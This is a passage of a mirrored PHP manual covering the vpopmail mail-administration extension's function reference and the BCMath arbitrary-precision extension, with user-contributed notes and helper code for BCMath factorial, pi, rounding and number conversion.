
begin 644 test.txt
/=&AI<R!I<R!A('1E<W0*
`
end

EOD;

$fp = tmpfile();
fwrite($fp, $text);

$data = mailparse_uudecode_all($fp);

echo "BODY\n";
readfile($data[0]["filename"]);
echo "UUE ({$data[1]['origfilename']})\n";
readfile($data[1]["filename"]);

// Clean up
unlink($data[0]["filename"]);
unlink($data[1]["filename"]);

?>

The above example will output:

BODY
To: fred@example.com

hello, this is some text hello.
blah blah blah.

UUE (test.txt)
this is a test

User Contributed Notes

mat at phpconsulting dot com 25-Apr-2003 07:04
As an alternative,  uudecode() can be called as static function as follows:

$file =& Mail_mimeDecode::uudecode($some_text);

This will return the following arrays:
 @param  string Input body to look for attachments in
 @return array  Decoded bodies, filenames and permissions


vpopmail

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • vpopmail Functions
    • vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain
    • vpopmail_add_alias_domain — Add an alias for a virtual domain
    • vpopmail_add_domain_ex — Add a new virtual domain
    • vpopmail_add_domain — Add a new virtual domain
    • vpopmail_add_user — Add a new user to the specified virtual domain
    • vpopmail_alias_add — Insert a virtual alias
    • vpopmail_alias_del_domain — Deletes all virtual aliases of a domain
    • vpopmail_alias_del — Deletes all virtual aliases of a user
    • vpopmail_alias_get_all — Get all lines of an alias for a domain
    • vpopmail_alias_get — Get all lines of an alias for a domain
    • vpopmail_auth_user — Attempt to validate a username/domain/password
    • vpopmail_del_domain_ex — Delete a virtual domain
    • vpopmail_del_domain — Delete a virtual domain
    • vpopmail_del_user — Delete a user from a virtual domain
    • vpopmail_error — Get text message for last vpopmail error
    • vpopmail_passwd — Change a virtual user's password
    • vpopmail_set_user_quota — Sets a virtual user's quota

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

This extension has been moved from PHP as of PHP 4.3.0 and now vpopmail lives in » PECL.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/vpopmail.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


vpopmail Functions

Table of Contents

  • vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain
  • vpopmail_add_alias_domain — Add an alias for a virtual domain
  • vpopmail_add_domain_ex — Add a new virtual domain
  • vpopmail_add_domain — Add a new virtual domain
  • vpopmail_add_user — Add a new user to the specified virtual domain
  • vpopmail_alias_add — Insert a virtual alias
  • vpopmail_alias_del_domain — Deletes all virtual aliases of a domain
  • vpopmail_alias_del — Deletes all virtual aliases of a user
  • vpopmail_alias_get_all — Get all lines of an alias for a domain
  • vpopmail_alias_get — Get all lines of an alias for a domain
  • vpopmail_auth_user — Attempt to validate a username/domain/password
  • vpopmail_del_domain_ex — Delete a virtual domain
  • vpopmail_del_domain — Delete a virtual domain
  • vpopmail_del_user — Delete a user from a virtual domain
  • vpopmail_error — Get text message for last vpopmail error
  • vpopmail_passwd — Change a virtual user's password
  • vpopmail_set_user_quota — Sets a virtual user's quota

User Contributed Notes

rwidmer at sourceforge dot net 02-Jun-2004 03:01
There is a more robust version of this extension, and other goodies for working with vpopmail from PHP available at:  http://pmailadmin.sourceforge.net/

The extension will get added back to PECL once it is finished and tested.
Chester 11-Apr-2004 01:39
If you set vpopmail up with mysql support its quite easy to get a full listing of domains/users.  You'l only have to use the vpopmail php functions to add/delete users/domains in a own written front end.
justin at linuxgroup dot net 30-Apr-2003 01:11
In reply to "You can easily save the directory listing of ~vpopmail/domains"

This would only work if you had 100 domains or less. After that, domains are broken up into directories. Vpopmail will not put more then 100 domains in a directory because it's not efficient.
dredman at najt dot nu 02-Dec-2002 03:42
just compile MySQL support into vpopmail and you've got it. then you can get all the needed info from the db.
till'at'klimpong'dot'com'dot'NOSPAM 16-Oct-2002 04:31
In regard to an earlier post:

You can easily save the directory listing of ~vpopmail/domains and get the list of all domains on your system.

That's fairly easy and if you don't add/remove each day, you can keep the list static or update it via cron on certain intervals.
thomas at abitur003 dot de 15-Oct-2002 08:50
Well, you can safe your qmail-data like the domains, etc. in a database, which is quite usefull in my eyes. You just have to keep the data synchronized.
mike at hbhosting dot com 15-Oct-2002 02:07
This library is kind of useless without key functions like get_domain_info() and list_all_domains(). You can add and delete virtual domains, but you cannot list or view them. Without such functionality you can't go and write your own PHP front end to qmail.


Add alias to an existing virtual domain

  • « vpopmail Functions
  • vpopmail_add_alias_domain »
  • PHP Manual
  • vpopmail Functions
  • Add alias to an existing virtual domain

vpopmail_add_alias_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_alias_domain_ex — Add alias to an existing virtual domain

Description

bool vpopmail_add_alias_domain_ex ( string $olddomain , string $newdomain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Add an alias for a virtual domain

  • « vpopmail_add_alias_domain_ex
  • vpopmail_add_domain_ex »
  • PHP Manual
  • vpopmail Functions
  • Add an alias for a virtual domain

vpopmail_add_alias_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_alias_domain — Add an alias for a virtual domain

Description

bool vpopmail_add_alias_domain ( string $domain , string $aliasdomain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Add a new virtual domain

  • « vpopmail_add_alias_domain
  • vpopmail_add_domain »
  • PHP Manual
  • vpopmail Functions
  • Add a new virtual domain

vpopmail_add_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_domain_ex — Add a new virtual domain

Description

bool vpopmail_add_domain_ex ( string $domain , string $passwd [, string $quota [, string $bounce [, bool $apop ]]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Add a new virtual domain

  • « vpopmail_add_domain_ex
  • vpopmail_add_user »
  • PHP Manual
  • vpopmail Functions
  • Add a new virtual domain

vpopmail_add_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_domain — Add a new virtual domain

Description

bool vpopmail_add_domain ( string $domain , string $dir , int $uid , int $gid )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Add a new user to the specified virtual domain

  • « vpopmail_add_domain
  • vpopmail_alias_add »
  • PHP Manual
  • vpopmail Functions
  • Add a new user to the specified virtual domain

vpopmail_add_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_add_user — Add a new user to the specified virtual domain

Description

bool vpopmail_add_user ( string $user , string $domain , string $password [, string $gecos [, bool $apop ]] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Insert a virtual alias

  • « vpopmail_add_user
  • vpopmail_alias_del_domain »
  • PHP Manual
  • vpopmail Functions
  • Insert a virtual alias

vpopmail_alias_add

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_add — Insert a virtual alias

Description

bool vpopmail_alias_add ( string $user , string $domain , string $alias )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Deletes all virtual aliases of a domain

  • « vpopmail_alias_add
  • vpopmail_alias_del »
  • PHP Manual
  • vpopmail Functions
  • Deletes all virtual aliases of a domain

vpopmail_alias_del_domain

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_del_domain — Deletes all virtual aliases of a domain

Description

bool vpopmail_alias_del_domain ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Deletes all virtual aliases of a user

  • « vpopmail_alias_del_domain
  • vpopmail_alias_get_all »
  • PHP Manual
  • vpopmail Functions
  • Deletes all virtual aliases of a user

vpopmail_alias_del

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_del — Deletes all virtual aliases of a user

Description

bool vpopmail_alias_del ( string $user , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get all lines of an alias for a domain

  • « vpopmail_alias_del
  • vpopmail_alias_get »
  • PHP Manual
  • vpopmail Functions
  • Get all lines of an alias for a domain

vpopmail_alias_get_all

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_get_all — Get all lines of an alias for a domain

Description

array vpopmail_alias_get_all ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

phpnet at syberisle dot net 09-Aug-2002 01:18
The $key part gives us the alias
i.e. - for .qmail-draxon the alias will hold "draxon"
the $value part gives us another array that houses the content of the .qmail file one array entry per line.

note: even if there is only 1 entry in the .qmail file it will still return an array

$aliases = vpopmail_alias_get_all("syberisle.net");
foreach($aliases AS $key => $value) {
  echo "$key\n";
  foreach($value AS $vkey => $alias) {
    echo "\t=> $alias\n";
  }
}

Enjoy,
Dave L


Get all lines of an alias for a domain

  • « vpopmail_alias_get_all
  • vpopmail_auth_user »
  • PHP Manual
  • vpopmail Functions
  • Get all lines of an alias for a domain

vpopmail_alias_get

(PHP 4 >= 4.0.7, PECL vpopmail >= 0.2)

vpopmail_alias_get — Get all lines of an alias for a domain

Description

array vpopmail_alias_get ( string $alias , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Attempt to validate a username/domain/password

  • « vpopmail_alias_get
  • vpopmail_del_domain_ex »
  • PHP Manual
  • vpopmail Functions
  • Attempt to validate a username/domain/password

vpopmail_auth_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_auth_user — Attempt to validate a username/domain/password

Description

bool vpopmail_auth_user ( string $user , string $domain , string $password [, string $apop ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Delete a virtual domain

  • « vpopmail_auth_user
  • vpopmail_del_domain »
  • PHP Manual
  • vpopmail Functions
  • Delete a virtual domain

vpopmail_del_domain_ex

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_domain_ex — Delete a virtual domain

Description

bool vpopmail_del_domain_ex ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Delete a virtual domain

  • « vpopmail_del_domain_ex
  • vpopmail_del_user »
  • PHP Manual
  • vpopmail Functions
  • Delete a virtual domain

vpopmail_del_domain

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_domain — Delete a virtual domain

Description

bool vpopmail_del_domain ( string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Delete a user from a virtual domain

  • « vpopmail_del_domain
  • vpopmail_error »
  • PHP Manual
  • vpopmail Functions
  • Delete a user from a virtual domain

vpopmail_del_user

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_del_user — Delete a user from a virtual domain

Description

bool vpopmail_del_user ( string $user , string $domain )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Get text message for last vpopmail error

  • « vpopmail_del_user
  • vpopmail_passwd »
  • PHP Manual
  • vpopmail Functions
  • Get text message for last vpopmail error

vpopmail_error

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_error — Get text message for last vpopmail error

Description

string vpopmail_error ( void )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Change a virtual user's password

  • « vpopmail_error
  • vpopmail_set_user_quota »
  • PHP Manual
  • vpopmail Functions
  • Change a virtual user's password

vpopmail_passwd

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_passwd — Change a virtual user's password

Description

bool vpopmail_passwd ( string $user , string $domain , string $password [, bool $apop ] )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Sets a virtual user's quota

  • « vpopmail_passwd
  • Mathematical Extensions »
  • PHP Manual
  • vpopmail Functions
  • Sets a virtual user's quota

vpopmail_set_user_quota

(PHP 4 >= 4.0.5, PECL vpopmail >= 0.2)

vpopmail_set_user_quota — Sets a virtual user's quota

Description

bool vpopmail_set_user_quota ( string $user , string $domain , string $quota )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.


Mathematical Extensions

  • BC Math — BCMath Arbitrary Precision Mathematics
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • BC Math Functions
  • GMP — GNU Multiple Precision
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • GMP Functions
    • GMP — The GMP class
  • Lapack
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Lapack — The Lapack class
    • LapackException — The LapackException class
  • Math — Mathematical Functions
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Math Functions
  • Statistics
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Statistic Functions
  • Trader — Technical Analysis for Traders
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Trader Functions

User Contributed Notes

There are no user contributed notes for this page.


BCMath Arbitrary Precision Mathematics

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • BC Math Functions
    • bcadd — Add two arbitrary precision numbers
    • bccomp — Compare two arbitrary precision numbers
    • bcdiv — Divide two arbitrary precision numbers
    • bcmod — Get modulus of an arbitrary precision number
    • bcmul — Multiply two arbitrary precision numbers
    • bcpow — Raise an arbitrary precision number to another
    • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
    • bcscale — Set default scale parameter for all bc math functions
    • bcsqrt — Get the square root of an arbitrary precision number
    • bcsub — Subtract one arbitrary precision number from another

User Contributed Notes

George Lund 20-May-2014 09:48
It's worth noting that this library is named very wrongly.

It may be called 'Binary Calculator', but what you're getting is a decimal calculator that can represent base-10 fractions accurately.
ClaudiuS 19-Feb-2013 11:25
Needed to compute some permutations and found the BC extension great but poor on functions, so untill this gets implemented here's the factorial function:

<?php
/* BC FACTORIAL
 * n! = n * (n-1) * (n-2) .. 1 [eg. 5! = 5 * 4 * 3 * 2 * 1 = 120]
 */
function bcfact($n){
    $factorial=$n;
    while (--$n>1) $factorial=bcmul($factorial,$n);
    return $factorial;
}

print bcfact(50);
//30414093201713378043612608166064768844377641568960512000000000000
?>


Introduction

For arbitrary precision mathematics PHP offers the Binary Calculator which supports numbers of any size and precision, represented as strings.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Since PHP 4.0.4, libbcmath is bundled with PHP. You don't need any external libraries for this extension.

User Contributed Notes

There are no user contributed notes for this page.


Installation

These functions are only available if PHP was configured with --enable-bcmath .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

BC math configuration options
Name | Default | Changeable | Changelog
bcmath.scale | "0" | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

bcmath.scale integer

Number of decimal digits for all bcmath functions. See also bcscale().

User Contributed Notes

There are no user contributed notes for this page.


BC Math Functions

Table of Contents

  • bcadd — Add two arbitrary precision numbers
  • bccomp — Compare two arbitrary precision numbers
  • bcdiv — Divide two arbitrary precision numbers
  • bcmod — Get modulus of an arbitrary precision number
  • bcmul — Multiply two arbitrary precision numbers
  • bcpow — Raise an arbitrary precision number to another
  • bcpowmod — Raise an arbitrary precision number to another, reduced by a specified modulus
  • bcscale — Set default scale parameter for all bc math functions
  • bcsqrt — Get the square root of an arbitrary precision number
  • bcsub — Subtract one arbitrary precision number from another

User Contributed Notes

mail at djordjeungar dot com 14-Oct-2013 10:43
Inspired by dawidgarus' implementation, here's my simple bc math helper, it does not support function calls, but supports boolean comparisons and is about ~40% faster.

<?php
function bc() {
    $argv = func_get_args();
    $string = str_replace(' ', '', "({$argv[0]})");

    $operations = array();
    if (strpos($string, '^') !== false) $operations[] = '\^';
    if (strpbrk($string, '*/%') !== false) $operations[] = '[\*\/\%]';
    if (strpbrk($string, '+-') !== false) $operations[] = '[\+\-]';
    if (strpbrk($string, '<>!=') !== false) $operations[] = '<|>|=|<=|==|>=|!=|<>';

    $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
    while (preg_match('/\(([^\)\(]*)\)/', $string, $match)) {
        foreach ($operations as $operation) {
            if (preg_match("/([+-]{0,1}[0-9\.]+)($operation)([+-]{0,1}[0-9\.]+)/", $match[1], $m)) {
                switch($m[2]) {
                    case '+':  $result = bcadd($m[1], $m[3]); break;
                    case '-':  $result = bcsub($m[1], $m[3]); break;
                    case '*':  $result = bcmul($m[1], $m[3]); break;
                    case '/':  $result = bcdiv($m[1], $m[3]); break;
                    case '%':  $result = bcmod($m[1], $m[3]); break;
                    case '^':  $result = bcpow($m[1], $m[3]); break;
                    case '==':
                    case '=':  $result = bccomp($m[1], $m[3]) == 0; break;
                    case '>':  $result = bccomp($m[1], $m[3]) == 1; break;
                    case '<':  $result = bccomp($m[1], $m[3]) ==-1; break;
                    case '>=': $result = bccomp($m[1], $m[3]) >= 0; break;
                    case '<=': $result = bccomp($m[1], $m[3]) <= 0; break;
                    case '<>':
                    case '!=': $result = bccomp($m[1], $m[3]) != 0; break;
                }
                $match[1] = str_replace($m[0], $result, $match[1]);
            }
        }
        $string = str_replace($match[0], $match[1], $string);
    }

    return $string;
}
?>
dawidgarus at gmail dot com 28-Dec-2011 07:22
If you too are confused with illegible code like this:
<?php
$a = "3";
$b = "5";
bcadd(bcmod(bcadd(bcdiv(bcsqrt(bcadd(7, bcpow($a, 2))), 4), $b), "4"), "0.5"); // i might made a mistake somewhere
?>

You may consider use my function, which makes example above look:
<?php
bc("(sqrt(7 + $1^2) / 4 + $2) % 4 + 0.5", "3", "5");
?>

Code:
<?php

function bc() {
        $functions = 'sqrt';
        // list of | separated functions
        // sqrt refer to bcsqrt etc.
        // function must take exactly 1 argument

        $argv = func_get_args();
        $string = str_replace(' ', '', '('.$argv[0].')');
        $string = preg_replace('/\$([0-9\.]+)/e', '$argv[$1]', $string);
        while (preg_match('/(('.$functions.')?)\(([^\)\(]*)\)/', $string, $match)) {
                while (
                        preg_match('/([0-9\.]+)(\^)([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\*\/\%])([0-9\.]+)/', $match[3], $m) ||
                        preg_match('/([0-9\.]+)([\+\-])([0-9\.]+)/', $match[3], $m)
                ) {
                        switch($m[2]) {
                                case '+': $result = bcadd($m[1], $m[3]); break;
                                case '-': $result = bcsub($m[1], $m[3]); break;
                                case '*': $result = bcmul($m[1], $m[3]); break;
                                case '/': $result = bcdiv($m[1], $m[3]); break;
                                case '%': $result = bcmod($m[1], $m[3]); break;
                                case '^': $result = bcpow($m[1], $m[3]); break;
                        }
                        $match[3] = str_replace($m[0], $result, $match[3]);
                }
                if (!empty($match[1]) && function_exists($func = 'bc'.$match[1]))  {
                        $match[3] = $func($match[3]);
                }
                $string = str_replace($match[0], $match[3], $string);
        }
        return $string;
}

?>

Note you must define scale with bcscale().
artefact2 at gmail dot com 29-Jul-2010 03:18
Here are some useful functions to convert large hex numbers from and to large decimal ones :

<?php
    public static function bchexdec($hex) {
        if(strlen($hex) == 1) {
            return hexdec($hex);
        } else {
            $remain = substr($hex, 0, -1);
            $last = substr($hex, -1);
            return bcadd(bcmul(16, bchexdec($remain)), hexdec($last));
        }
    }

    public static function bcdechex($dec) {
        $last = bcmod($dec, 16);
        $remain = bcdiv(bcsub($dec, $last), 16);

        if($remain == 0) {
            return dechex($last);
        } else {
            return bcdechex($remain).dechex($last);
        }
    }
thomas at tgohome dot com 14-Nov-2009 12:17
Some useful bcmath functions:

<?php

/*
 * Computes the factoral (x!).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcfact($fact, $scale = 100)
{
    if($fact == 1) return 1;
    return bcmul($fact, bcfact(bcsub($fact, '1'), $scale), $scale);
}

/*
 * Computes e^x, where e is Euler's constant, or approximately 2.71828.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcexp($x, $iters = 7, $scale = 100)
{
    /* Compute e^x. */
    $res = bcadd('1.0', $x, $scale);
    for($i = 0; $i < $iters; $i++)
    {
        $res += bcdiv(bcpow($x, bcadd($i, '2'), $scale), bcfact(bcadd($i, '2'), $scale), $scale);
    }
    return $res;
}

/*
 * Computes ln(x).
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcln($a, $iters = 10, $scale = 100)
{
    $result = "0.0";

    for($i = 0; $i < $iters; $i++)
    {
        $pow = bcadd("1.0", bcmul($i, "2.0", $scale), $scale);
        //$pow = 1 + ($i * 2);
        $mul = bcdiv("1.0", $pow, $scale);
        $fraction = bcmul($mul, bcpow(bcdiv(bcsub($a, "1.0", $scale), bcadd($a, "1.0", $scale), $scale), $pow, $scale), $scale);
        $result = bcadd($fraction, $result, $scale);
    }

    $res = bcmul("2.0", $result, $scale);
    return $res;
}

/*
 * Computes a^b, where a and b can have decimal digits, be negative and/or very large.
 * Also works for 0^0. Only able to calculate up to 10 digits. Quite slow.
 * @author Thomas Oldbury.
 * @license Public domain.
 */
function bcpowx($a, $b, $iters = 25, $scale = 100)
{
    $ln = bcln($a, $iters, $scale);
    return bcexp(bcmul($ln, $b, $scale), $iters, $scale);
}

$precision = 35;

echo "3^4.5,          precision 15, iters 25 = " . bcpowx('3', '4.5', 25, $precision) . "\n";
echo "4.5^3,          precision 15, iters 25 = " . bcpowx('4.5', '3', 25, $precision) . "\n";
echo "8^1/2,          precision 15, iters 25 = " . bcpowx('8', '0.5', 25, $precision) . "\n";
echo "28^-1,          precision 15, iters 25 = " . bcpowx('28', '-1', 25, $precision) . "\n";
echo "432^0,          precision 15, iters 25 = " . bcpowx('432', '0', 25, $precision) . "\n";
echo "0^0,            precision 15, iters 25 = " . bcpowx('0.0', '0', 25, $precision) . "\n";
echo "9^999,          precision 15, iters 25 = " . bcpowx('9', '999', 25, $precision) . "\n";
echo "9^9999,         precision 15, iters 25 = " . bcpowx('9', '9999', 25, $precision) . "\n";
echo "9^99999,        precision 15, iters 25 = " . bcpowx('9', '99999', 25, $precision) . "\n";
echo "9^999999,       precision 15, iters 25 = " . bcpowx('9', '999999', 25, $precision) . "\n";
echo "9^9999999,      precision 15, iters 25 = " . bcpowx('9', '9999999', 25, $precision) . "\n";
echo "9^99999999,     precision 15, iters 25 = " . bcpowx('9', '99999999', 25, $precision) . "\n";
echo "9^999999999,    precision 15, iters 25 = " . bcpowx('9', '999999999', 25, $precision) . "\n";
echo "9^9999999999,   precision 15, iters 25 = " . bcpowx('9', '9999999999', 25, $precision) . "\n";
echo "9^99999999999,  precision 15, iters 25 = " . bcpowx('9', '99999999999', 25, $precision) . "\n";
echo "9^999999999999, precision 15, iters 25 = " . bcpowx('9', '999999999999', 25, $precision) . "\n";

?>
francois dot barbier at gmail dot com 13-Aug-2009 07:19
As "benjcarson at digitaljunkies dot ca" (http://www.php.net/ref.bc.php#23038) noted in the first two comments, bcmath doesn't accept exponential notation.

Moreover, you might have other problems if you feed the bcmath functions directly with floating point numbers.
Consider the following example:
<?php
bcscale(1);
$a = 0.8;
$b = 0.7;
var_dump((string) $a);   // string(3) "0.8"
var_dump((string) $b);   // string(3) "0.a"
var_dump(bcadd($a, $b)); // string(3) "1.5"
setLocale(LC_ALL, 'fr_BE.UTF-8');
var_dump((string) $a);   // string(3) "0,8" --> note the comma
var_dump((string) $b);   // string(3) "0,7" --> note the comma
var_dump(bcadd($a, $b)); // string(3) "0.0"
?>
The floating point numbers passed to the bcadd() function are automatically converted to string using the localized decimal separator. However, the bcmath functions always use a full stop, which results in the last result being incorrect.

Below is a function to convert floating point numbers to strings correctly. It takes care of the decimal separator and the exponential notation. It also preserve the precision without drifting away (e.g. 1.0 doesn't become 0.99999...)
<?php
/**
 * Convert a number to locale independent string without E notation and without
 * loosing precision
 *
 * @param      int/float/double $fNumber The number to convert.
 * @return     string The locale independent converted number.
 */
function bcconv($fNumber)
{
    $sAppend = '';
    $iDecimals = ini_get('precision') - floor(log10(abs($fNumber)));
    if (0 > $iDecimals)
    {
        $fNumber *= pow(10, $iDecimals);
        $sAppend = str_repeat('0', -$iDecimals);
        $iDecimals = 0;
    }
    return number_format($fNumber, $iDecimals, '.', '').$sAppend;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$precision = ini_get('precision') + 2; // should give 16
bcscale($precision);
$big = pow(10, $precision);
$small = 1 / $big;
var_dump(bcconv($big + $small));               // string(17) "10000000000000000"
var_dump(bcadd($big, $small));                 // string(18) "0.0000000000000000"
var_dump(bcadd(bcconv($big), bcconv($small))); // string(34) "10000000000000000.0000000000000001"
?>
The first result's precision loss is due to PHP's internal floating point numbers' representation.
The second result is wrong because of the localized decimal separator.
Finally, the last result is correct.
Charles 14-Aug-2008 07:04
Function to round bc string:

<?php
function bcround($strval, $precision = 0) {
    if (false !== ($pos = strpos($strval, '.')) && (strlen($strval) - $pos - 1) > $precision) {
        $zeros = str_repeat("0", $precision);
        return bcadd($strval, "0.{$zeros}5", $precision);
    } else {
        return $strval;
    }
}
?>
Bouke Haarsma 29-Mar-2008 12:40
Please be aware not to use/have spaces in your strings. It took me a while to find the error in some advanced calculations!

<?php
echo bcadd("1", "2"); // 3
echo bcadd("1", "2 "); // 1
echo bcadd("1", " 2"); // 1
?>
udochen at gmail dot com 27-Feb-2007 08:48
Code below implements standard rounding on 5 or higer round up, else don't round.  There wasn't a round function for the BC functions, so here is a simple one that works. Same args as round, except takes strings and returns a string for more BC operations.

----------------

function roundbc($x, $p) {

     $x = trim($x);
     $data = explode(".",$x);

     if(substr($data[1],$p,1) >= "5") {

           //generate the add string.
           $i=0;
           $addString = "5";
           while($i < $p) {
               $addString = "0" . $addString;
               $i++;
           }//end while.
           $addString = "." . $addString;

           //now add the addString to the original fraction.
           $sum = bcadd($data[0] . "." . $data   [1],$addString,$p+1);

           //explode the result.
           $sumData = explode(".",$sum);

           //now, return the correct precision on the rounded number.
           return $sumData[0] . "." . substr($sumData[1],0,$p);

      } else {

           //don't round the value and return the orignal to the desired
           //precision or less.
           return $data[0] . "." . substr($data[1],0,$p);

      }//end if/else.

   }//end roundbc.
mgcclx at gmail dot com 30-Jan-2007 03:52
I wrote this function with many BCMath functions. It should be the fastest function in PHP to find the number pi into any precision, my test is it generate 2000 digits after the dot in 8 seconds. I don't think you need anything more than that.
<?php
//bcpi function with Gauss-Legendre algorithm
//by Chao Xu (Mgccl)
function bcpi($precision){
    $limit = ceil(log($precision)/log(2))-1;
    bcscale($precision+6);
    $a = 1;
    $b = bcdiv(1,bcsqrt(2));
    $t = 1/4;
    $p = 1;
    while($n < $limit){
        $x = bcdiv(bcadd($a,$b),2);
        $y = bcsqrt(bcmul($a, $b));
        $t = bcsub($t, bcmul($p,bcpow(bcsub($a,$x),2)));
        $a = $x;
        $b = $y;
        $p = bcmul(2,$p);
        ++$n;
    }
    return bcdiv(bcpow(bcadd($a, $b),2),bcmul(4,$t),$precision);
}
?>
marcus at synchromedia dot co dot uk 09-Aug-2006 06:17
Oops, first posting contained wrong code... sorry.
